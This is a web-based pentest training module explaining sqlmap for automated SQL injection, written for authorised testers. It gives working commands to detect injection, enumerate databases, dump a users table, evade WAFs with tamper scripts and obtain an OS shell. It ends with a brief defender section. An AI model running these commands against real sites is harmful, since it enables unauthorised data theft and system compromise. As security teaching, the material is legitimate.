Module 7 · sqlmap — Automated SQL Injection

Manish Garg
Manish Garg Associate of (ISC)² · RingSafe
Apr 27, 2026
1 min read
Read as

Last updated: April 29, 2026

100% Free

No signup. No paywall. No catch. One of our 10 most-requested practitioner modules — published in full so anyone can learn for free. We earn through consulting, not by gating knowledge.

See all 10 free modules →

Why this module. sqlmap automates 80% of SQLi work. Mastering it means going from “I think this is injectable” to “here’s the database dump” in 15 minutes.

Why this module. sqlmap automates 80% of SQLi work. Mastering it means going from “I think this is injectable” to “here’s the database dump” in 15 minutes.

The base workflow

# Detect
sqlmap -u "https://target.com/page?id=1" --batch --level=3 --risk=2

# Confirm with banner
sqlmap -u "https://target.com/page?id=1" --batch --banner

# Enumerate
sqlmap -u "https://target.com/page?id=1" --batch --dbs
sqlmap -u "https://target.com/page?id=1" --batch -D target_db --tables
sqlmap -u "https://target.com/page?id=1" --batch -D target_db -T users --dump

Useful flags

  • --level=N (1-5) — how deep sqlmap searches; higher = slower, more thorough
  • --risk=N (1-3) — how aggressive (3 = potentially destructive)
  • --tamper=script.py — WAF evasion (space2comment, charencode, between)
  • --cookie="session=..." — authenticated testing
  • --data="user=&pass=" — POST testing
  • --proxy=http://127.0.0.1:8080 — through Burp
  • --os-shell — when DB allows command execution

WAF bypasses

Tampers like space2hash, charunicodeencode, randomcase work for typical WAFs. Combine: --tamper=space2comment,between.

After access

  • Stop. SQLi is normally a finding to report — not exploit further.
  • For authorised pentests: enumerate users, find privileged accounts, try lateral pivot via OS shell.

Defender

WAF + parameterised queries + ORMs + audit log on long-running queries. SQLi blocked at multiple layers.

🧠
Check your understanding

Module Quiz · 6 questions

Pass with 80%+ to mark this module complete. Unlimited retries. Each question shows an explanation.

Want this for your team?

Custom team training + practitioner advisory

Beyond the free academy — we run private workshops, vCISO advisory, and red-team exercises tailored to your stack. For Indian SMBs scaling past their first hire.

Book team training call Replies in 4 working hrs · India-only · Senior consultants